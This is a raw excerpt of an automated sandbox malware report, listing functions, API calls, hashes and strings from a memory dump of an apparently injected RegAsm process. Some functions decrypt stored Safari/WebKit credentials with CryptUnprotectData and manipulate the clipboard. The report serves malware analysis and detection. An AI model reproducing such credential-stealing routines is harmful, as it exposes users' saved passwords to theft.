                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                      • Instruction ID: 8f6381f957debc367d4a0444659be52de1bfd3a154b3998764173f6a98a011bd
                      • Opcode Fuzzy Hash: 4aed56dde2bff02888507ea152729a1ee15f70291d16ca6bd798c1e7fc2ec88c
                      • Instruction Fuzzy Hash: 1DD0C9765002229BDB10AF26EC057857378FF00712B110425E810B7594D778BEE68ADC
                      Function 0040B633 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 6cac8f1a699deb91221d7a6f108e22352180a1071cf07404188a59dfc78ebdbf
                      • Instruction ID: 84c58710a9e867f17c2d1ed9f7495b278bdfae561cd9e9721482330d0bfefd66
                      • Opcode Fuzzy Hash: 6cac8f1a699deb91221d7a6f108e22352180a1071cf07404188a59dfc78ebdbf
                      • Instruction Fuzzy Hash: 48C00272510B018FEB209E16C405762B3E4AF5173BF928C1D949591481D77CE4448A1D
                      Function 004096C3 Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CreateFile
                      • String ID:
                      • API String ID: 823142352-0
                      • Opcode ID: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                      • Instruction ID: 15e4bfb1af8ab284213ec8af4af1ca3ed9a3c322684c6da9746693c795416a08
                      • Opcode Fuzzy Hash: 5246709bc6ec1dabf70528f5ad42ffc01d78c7e2d09fe5df7c46969d7a5ea179
                      • Instruction Fuzzy Hash: A8C092B0280200BEFE224B10EC15F36755CE744700F2008247E40F40E0C1605E108524
                      Function 004096DC Relevance: 1.5, APIs: 1, Instructions: 10fileCOMMON
                      Download Yara Rule
                      APIs
                      • CreateFileW.KERNEL32(00000001,40000000,00000001,00000000,00000002,00000000,00000000,0040E0F1,00000104), ref: 004096EE
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CreateFile
                      • String ID:
                      • API String ID: 823142352-0
                      • Opcode ID: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                      • Instruction ID: 13aef0f41518da9c32968a96bed17b980f0e8f352a8d1793a660c4ee04e7d177
                      • Opcode Fuzzy Hash: ab7a8cdf7eb8bf952c1c1b88a04d9996938fd5cdd98684eb6691b5f60f9c195d
                      • Instruction Fuzzy Hash: B8C012F02903007EFF204B10AC0AF37755DF784700F2048207E40F40E1C2B15C008524
                      Function 0040AA04 Relevance: 1.5, APIs: 1, Instructions: 10COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: 9f3c014d0cf6ef3ef7071a5cb6dd1d5584685ccd4eb021183226fc9c7d12a071
                      • Instruction ID: 146ea39d6618054f0b1de7ea1636ea0e57db3b52e0d7afa8327ef8e2ad9437d0
                      • Opcode Fuzzy Hash: 9f3c014d0cf6ef3ef7071a5cb6dd1d5584685ccd4eb021183226fc9c7d12a071
                      • Instruction Fuzzy Hash: 18C012B29107018BFB308E15C409322B2E4AF0072BFA18C0D9090910C2C77CD080CA18
                      Function 0040B04B Relevance: 1.5, APIs: 1, Instructions: 9COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??3@
                      • String ID:
                      • API String ID: 613200358-0
                      • Opcode ID: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                      • Instruction ID: 6ff791ec813821c2e9e24527ebed0d702daabad41f6d5d50af9b89e3d4ad0470
                      • Opcode Fuzzy Hash: ffbe44a51c26d842ca56a491b3c7d92fb1c4d2adc00a6a519549e0909776451f
                      • Instruction Fuzzy Hash: ADC09BB15117014BE7305F15D40471373D49F11727F318C1DA5D1914C2D77CD4408518
                      Function 004135E0 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • FreeLibrary.KERNEL32(?,00413603,00000000,0044557A,?,?,?,?,?,00403335,?), ref: 004135EC
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                      • Instruction ID: 97b2006ec1e2dd28fddd19cbcf35086f2a6b1d7d6d8af37d8808782836c913ed
                      • Opcode Fuzzy Hash: 844f7501f44133ba018c3401d7aef3826eb6c790b17bce713828cee3c51aa695
                      • Instruction Fuzzy Hash: C1C04C355107129BE7318F22C849793B3E8BB00767F40C818A56A85454D7BCE594CE28
                      Function 0041493C Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • EnumResourceNamesW.KERNEL32(?,?,Function_000148B6,00000000), ref: 0041494B
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: EnumNamesResource
                      • String ID:
                      • API String ID: 3334572018-0
                      • Opcode ID: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                      • Instruction ID: 4cd0fc1a45efe5f4a77ff86a676eea9814a6d41529a344ef69fdb726e0e13cac
                      • Opcode Fuzzy Hash: 66f1156765df5e37ef2ff2f84c2d9879992723494834984b76c3e66af834c78a
                      • Instruction Fuzzy Hash: 5CC09B355943819FD711DF108C05F1A76D5BF95705F104C397151940A0C7614014A60A
                      Function 0044DEA5 Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FreeLibrary
                      • String ID:
                      • API String ID: 3664257935-0
                      • Opcode ID: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                      • Instruction ID: c12df66a07a312a107e4de7a98dbd39cb061029a89fa16cd2619b088cce9516a
                      • Opcode Fuzzy Hash: bc29afbdeb633a61cc40634aee98d5405fe4c9068b08d77425fcd78e2ed3a7cd
                      • Instruction Fuzzy Hash: 95C04C35D10311ABFB31AB11ED4975232A5BB00717F52006494128D065D7B8E454CB2D
                      Function 0040AEBE Relevance: 1.5, APIs: 1, Instructions: 8COMMON
                      Download Yara Rule
                      APIs
                      • FindClose.KERNEL32(?,0040AE21,?,00000000,00445EF5,*.*,?,00000000,?,00000104,?,?,?,?,?,00000104), ref: 0040AEC8
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: CloseFind
                      • String ID:
                      • API String ID: 1863332320-0
                      • Opcode ID: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                      • Instruction ID: 0a5868f0c47a417661f40efe111cada53839b745ef6d73ffe26d621af3302058
                      • Opcode Fuzzy Hash: c351b702f3e9cabc65afcca29c8835cc335007c1b5069ed2425bca2f993f3ba3
                      • Instruction Fuzzy Hash: 06C092341506058BD62C5F38DC9A42A77A0BF4A3303B40F6CA0F3D24F0E73888538A04
                      Function 00414592 Relevance: 1.5, APIs: 1, Instructions: 7registryCOMMON
                      Download Yara Rule
                      APIs
                      • RegOpenKeyExW.KERNEL32(80000002,80000002,00000000,00020019,80000002,00414CC1,80000002,Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders,00445DDE,?,?,00000000), ref: 004145A5
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Open
                      • String ID:
                      • API String ID: 71445658-0
                      • Opcode ID: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                      • Instruction ID: 4e31294bd56c0fd8f54a78566f459ab053e1b17b284f5820c9a90ca28514d216
                      • Opcode Fuzzy Hash: cea4c8dffb5a7e03adddd135b873dbda16caaf5da1da7b073e7ed9ea122c33c6
                      • Instruction Fuzzy Hash: C4C09B35544311BFDE114F40FD09F09BB61BB84B05F004414B254640B182714414EB17
                      Function 00409B98 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                      Download Yara Rule
                      APIs
                      • GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: AttributesFile
                      • String ID:
                      • API String ID: 3188754299-0
                      • Opcode ID: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                      • Instruction ID: 3e515636d229e53f9e638efbf3d1d2cf0185fd636b5c9b7db17c068ea44c501e
                      • Opcode Fuzzy Hash: 58881c252121c77da0d0db5638804f50f66f4a7a85cb6d231bcd6b2301be346c
                      • Instruction Fuzzy Hash: B9B012792104005BCB0807349C4904D35507F456317200B3CF033C00F0D730CC61BA00
                      Function 0041BE52 Relevance: 1.3, APIs: 1, Instructions: 99COMMON
                      Download Yara Rule
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID:
                      • String ID:
                      • API String ID:
                      • Opcode ID: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                      • Instruction ID: 186a7b248be49691fb09735f75239c469d17650efe27a5986e87276cb9a2b443
                      • Opcode Fuzzy Hash: 519045b8856ea86e6d8d1e97e8a9a2cac293cdb0bbecd69caab4774d1a49c2e8
                      • Instruction Fuzzy Hash: E8318B31901616EFDF24AF25D8417DA73A0FF04314F10416BF91497251DB38ADE18BDA
                      Function 004095D9 Relevance: 1.3, APIs: 1, Instructions: 66COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 004095FC
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 004091B8: memset.MSVCRT ref: 004091E2
                        • Part of subcall function 004091B8: memcpy.MSVCRT ref: 004092C9
                        • Part of subcall function 004091B8: memcmp.MSVCRT ref: 004092D9
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memsetwcslen$AttributesFilememcmpmemcpywcscatwcscpy
                      • String ID:
                      • API String ID: 3655998216-0
                      • Opcode ID: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                      • Instruction ID: 072a19641c33d96fdc78833b4ff670bebeeceb9371718ab52934a970b5968781
                      • Opcode Fuzzy Hash: e30004be4bbbfeced16a1849f7c4d541b3adc094efc719b7744e08ea692a1bc4
                      • Instruction Fuzzy Hash: F311607290021D6AEF20A662DC4AE9B376CEF41318F10047BB908E51D2EA79DE548659
                      Function 00445403 Relevance: 1.3, APIs: 1, Instructions: 60COMMON
                      Download Yara Rule
                      APIs
                      • memset.MSVCRT ref: 00445426
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D29
                        • Part of subcall function 00409D1F: wcslen.MSVCRT ref: 00409D33
                        • Part of subcall function 00409D1F: wcscpy.MSVCRT ref: 00409D47
                        • Part of subcall function 00409D1F: wcscat.MSVCRT ref: 00409D55
                        • Part of subcall function 00409B98: GetFileAttributesW.KERNEL32(?,00445E12,?,?,?,00000104), ref: 00409B9C
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B71C
                        • Part of subcall function 0040B6EF: wcsrchr.MSVCRT ref: 0040B738
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B756
                        • Part of subcall function 0040B6EF: memset.MSVCRT ref: 0040B7F5
                        • Part of subcall function 0040B6EF: CreateFileW.KERNEL32(00445FAE,80000000,00000000,00000000,00000003,00000000,00000000,?,?), ref: 0040B80C
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: memset$Filewcslen$AttributesCreatewcscatwcscpywcsrchr
                      • String ID:
                      • API String ID: 1828521557-0
                      • Opcode ID: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                      • Instruction ID: 9d1500c39017731ad640c46c84131142cb98d7893e2d711cbdbff08f65233ce4
                      • Opcode Fuzzy Hash: ea4a949cbb04dc179977b6e9e50e7a1e4e6e0668b18cbdf2d6b9d2270a501428
                      • Instruction Fuzzy Hash: 4B1186B294011D7BEB10E751DC4AFDB776CEF51328F10047FB518A50C2E6B8AAC486A9
                      Function 004068BF Relevance: 1.3, APIs: 1, Instructions: 59COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                        • Part of subcall function 004062A6: SetFilePointerEx.KERNEL32(0040627C,?,?,00000000,00000000), ref: 004062C2
                      • memcpy.MSVCRT ref: 00406942
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@FilePointermemcpy
                      • String ID:
                      • API String ID: 609303285-0
                      • Opcode ID: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                      • Instruction ID: a147fa8ec668463fbbadbca9a08a444fcb23aa95a0ceadfc627c4072e562ebd5
                      • Opcode Fuzzy Hash: cfa0e116d589173c1f74b587a6cbbf9e28bf831d76649fdc759f8710e9f20be5
                      • Instruction Fuzzy Hash: 4B11A7B2500108BBDB11A755C840F9F77ADDF85318F16807AF90677281C778AE2687A9
                      Function 00406B90 Relevance: 1.3, APIs: 1, Instructions: 56COMMON
                      Download Yara Rule
                      APIs
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp
                      • String ID:
                      • API String ID: 2081463915-0
                      • Opcode ID: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                      • Instruction ID: 44e68c08f8902dbc9d3bec9e3d7b81d72528a2b8c41660eeece459a1934edfa0
                      • Opcode Fuzzy Hash: b978923b786281d4dff967b9753de8351d719aa9e76d1b7e7943c841c1b1a5dc
                      • Instruction Fuzzy Hash: 0C118CB1600205AFD710DF65C8809AAB7F8FF44314F11843EE55AE7240EB34F9658B68
                      Function 00406214 Relevance: 1.3, APIs: 1, Instructions: 39COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 00406294: CloseHandle.KERNEL32(000000FF), ref: 0040629C
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetLastError.KERNEL32(00000000,00000000,0040E03C,?,00000000,00000104,00000000,?,?,?,0040E521,?,0040E6A3,000000FF,?,00000104), ref: 00406281
                        • Part of subcall function 0040A2EF: ReadFile.KERNEL32(00000000,00000000,004450DD,00000000,00000000), ref: 0040A306
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: File$CloseCreateErrorHandleLastRead
                      • String ID:
                      • API String ID: 2136311172-0
                      • Opcode ID: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                      • Instruction ID: 5eec059ee86d0bbb8aaa5289f200f29bbda103cdac5cb86a40c163b72aa3aa4c
                      • Opcode Fuzzy Hash: b6bd1096ce10d17f9a7701a6d0a27b928aedeb77931263aba22673ea05e1db24
                      • Instruction Fuzzy Hash: 3F01D6B14017018FD7206B70CD05BA273D8EF10319F11897EE55BE62D1EB3C9861866E
                      Function 0040AFCF Relevance: 1.3, APIs: 1, Instructions: 12COMMON
                      Download Yara Rule
                      APIs
                        • Part of subcall function 0040B04B: ??3@YAXPAX@Z.MSVCRT ref: 0040B052
                      • ??2@YAPAXI@Z.MSVCRT ref: 0040AFD8
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ??2@??3@
                      • String ID:
                      • API String ID: 1936579350-0
                      • Opcode ID: c1d2223be94a68f833538aabce888aab0279aa93460cd9bacb51074fa57d6133
                      • Instruction ID: 89dc8af08517091935dcea8fd058adf4401913b4726dbdea6cb301b2924d739e
                      • Opcode Fuzzy Hash: c1d2223be94a68f833538aabce888aab0279aa93460cd9bacb51074fa57d6133
                      • Instruction Fuzzy Hash: 8FC02B7240C2100FD730FF74340205736D4CE422203028C2FE0E4D3101DB3C840103C8

                      Non-executed Functions

                      Function 004098E2 Relevance: 16.6, APIs: 11, Instructions: 59clipboardmemoryfileCOMMON
                      Download Yara Rule
                      APIs
                      • EmptyClipboard.USER32 ref: 004098EC
                        • Part of subcall function 004096C3: CreateFileW.KERNEL32(00000000,80000000,00000003,00000000,00000003,00000000,00000000,0044509F,00000000,?,00000000,00000104,00445E7E,?,?), ref: 004096D5
                      • GetFileSize.KERNEL32(00000000,00000000), ref: 00409909
                      • GlobalAlloc.KERNEL32(00002000,00000002), ref: 0040991A
                      • GlobalFix.KERNEL32(00000000), ref: 00409927
                      • ReadFile.KERNEL32(?,00000000,00000000,?,00000000), ref: 0040993A
                      • GlobalUnWire.KERNEL32(00000000), ref: 0040994C
                      • SetClipboardData.USER32(0000000D,00000000), ref: 00409955
                      • GetLastError.KERNEL32 ref: 0040995D
                      • CloseHandle.KERNEL32(?), ref: 00409969
                      • GetLastError.KERNEL32 ref: 00409974
                      • CloseClipboard.USER32 ref: 0040997D
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ClipboardFileGlobal$CloseErrorLast$AllocCreateDataEmptyHandleReadSizeWire
                      • String ID:
                      • API String ID: 2565263379-0
                      • Opcode ID: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                      • Instruction ID: b216396755dc4e0bfb1664a9ae46c4c33dbc75b884417c11e98c88a04b476fe2
                      • Opcode Fuzzy Hash: 92cf2ad6ca5c713dde206082ad36a5e7808ef459d862ee33826dd65d962f9f86
                      • Instruction Fuzzy Hash: 3D113D7A540204BBE7105FA6DC4CA9E7B78FB06356F10457AF902E22A1DB748901CB69
                      Function 0040987A Relevance: 12.0, APIs: 8, Instructions: 42clipboardmemoryCOMMON
                      Download Yara Rule
                      APIs
                      • EmptyClipboard.USER32 ref: 00409882
                      • wcslen.MSVCRT ref: 0040988F
                      • GlobalAlloc.KERNEL32(00002000,00000002,?,?,?,?,00411A1E,-00000210), ref: 0040989F
                      • GlobalFix.KERNEL32(00000000), ref: 004098AC
                      • memcpy.MSVCRT ref: 004098B5
                      • GlobalUnWire.KERNEL32(00000000), ref: 004098BE
                      • SetClipboardData.USER32(0000000D,00000000), ref: 004098C7
                      • CloseClipboard.USER32 ref: 004098D7
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: ClipboardGlobal$AllocCloseDataEmptyWirememcpywcslen
                      • String ID:
                      • API String ID: 2014503067-0
                      • Opcode ID: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                      • Instruction ID: b754b6ca90195c8d8a6f67e3e00c953256c5cf8724ac1a445a604cc17dd28da6
                      • Opcode Fuzzy Hash: ef81b411bc32b98b0d58beac2f1626bda71a649682fb6f24e39e44ffb2f3f244
                      • Instruction Fuzzy Hash: 4AF0967B1402246BD2112FA6AC4DD2B772CFB86B56B05013AF90592251DA3448004779
                      Function 004182CE Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 69windowCOMMON
                      Download Yara Rule
                      APIs
                      • GetLastError.KERNEL32 ref: 004182D7
                        • Part of subcall function 0041739B: GetVersionExW.KERNEL32(?), ref: 004173BE
                      • FormatMessageW.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 004182FE
                      • FormatMessageA.KERNEL32(00001300,00000000,00000000,00000000,?,00000000,00000000), ref: 00418327
                      • LocalFree.KERNEL32(?), ref: 00418342
                      • ??3@YAXPAX@Z.MSVCRT ref: 00418370
                        • Part of subcall function 00417434: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,?,?,756F18FE,?,0041755F,?), ref: 00417452
                        • Part of subcall function 00417434: malloc.MSVCRT ref: 00417459
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: FormatMessage$??3@ByteCharErrorFreeLastLocalMultiVersionWidemalloc
                      • String ID: OsError 0x%x (%u)
                      • API String ID: 403622227-2664311388
                      • Opcode ID: 63f4947bb6e883e354d3d2ebf96ad5df6c46b6e8727c7c07250c00721f9c325d
                      • Instruction ID: 20f22e5b187e4483f2e635e74e626e0383ca95cf640bb4168ff376264581b0c9
                      • Opcode Fuzzy Hash: 63f4947bb6e883e354d3d2ebf96ad5df6c46b6e8727c7c07250c00721f9c325d
                      • Instruction Fuzzy Hash: 6011B634901128FBCB11ABE2DC49CDF7F78FF85B54B10405AF811A2251DB754A81D7A9
                      Function 0041739B Relevance: 1.5, APIs: 1, Instructions: 19COMMON
                      Download Yara Rule
                      APIs
                      • GetVersionExW.KERNEL32(?), ref: 004173BE
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: Version
                      • String ID:
                      • API String ID: 1889659487-0
                      • Opcode ID: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                      • Instruction ID: 34334e4c1a53cba42546035453d5331cf18162d9798f59f763323439a3546438
                      • Opcode Fuzzy Hash: 65fe17fce0a62211919799e39ce3b7c1e35ae55805528a641db57f2e5b506d3e
                      • Instruction Fuzzy Hash: BAE0463590131CCFEB24DB34DB0B7C676F5AB08B46F0104F4C20AC2092D3789688CA2A
                      Function 00402279 Relevance: 110.5, APIs: 9, Strings: 54, Instructions: 285COMMON
                      Download Yara Rule
                      APIs
                      • _wcsicmp.MSVCRT ref: 004022A6
                      • _wcsicmp.MSVCRT ref: 004022D7
                      • _wcsicmp.MSVCRT ref: 00402305
                      • _wcsicmp.MSVCRT ref: 00402333
                        • Part of subcall function 0040AA29: wcslen.MSVCRT ref: 0040AA3C
                        • Part of subcall function 0040AA29: memcpy.MSVCRT ref: 0040AA5B
                      • memset.MSVCRT ref: 0040265F
                      • memcpy.MSVCRT ref: 0040269B
                        • Part of subcall function 00404423: FreeLibrary.KERNEL32(00000000,00000141,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404476
                        • Part of subcall function 00404423: CryptUnprotectData.CRYPT32(?,00000000,?,00000000,00000000,?,?,?,00000000,?,004026E9,?,?,00000000,?), ref: 00404498
                      • memcpy.MSVCRT ref: 004026FF
                      • LocalFree.KERNEL32(?,?,?,00000000,?,?,00000000,?), ref: 00402764
                      • FreeLibrary.KERNEL32(00000000,?,?,00000000,?), ref: 00402775
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmp$Freememcpy$Library$CryptDataLocalUnprotectmemsetwcslen
                      • String ID: !$#$$$&$&$'$)$/$0$2$8$=$>$>$@$A$Account$Data$F$H$H$I$K$K$L$O$Path$S$X$\$^$`$a$b$com.apple.Safari$com.apple.WebKit2WebProcess$g$h$n$n$q$server$t$t$t$u$u$w$y$y$z${$}$~
                      • API String ID: 2257402768-1134094380
                      • Opcode ID: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                      • Instruction ID: 24bcbd005531c38afe4d7004bd238553ea51a424b60caac2517de9c8923e7683
                      • Opcode Fuzzy Hash: 9397f4940cefbe0ceec442a857739dd93941f810d0ac8ce2dbc103f0b42f9f84
                      • Instruction Fuzzy Hash: 8FE1F32010C7C19DD332D678884978BBFD45BA7328F484B9EF1E89A2D2D7B98509C767
                      Function 0040C87B Relevance: 54.5, APIs: 27, Strings: 4, Instructions: 285stringCOMMON
                      Download Yara Rule
                      APIs
                      Strings
                      Memory Dump Source
                      • Source File: 0000000D.00000002.465367128.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                      Joe Sandbox IDA Plugin
                      • Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd
                      Similarity
                      • API ID: _wcsicmpmemset$_wcsnicmpwcslen$ByteCharMultiWidewcschrwcscpy$memcpystrchrstrlen
                      • String ID: :stringdata$ftp://$http://$https://
                      • API String ID: 2787044678-1921111777
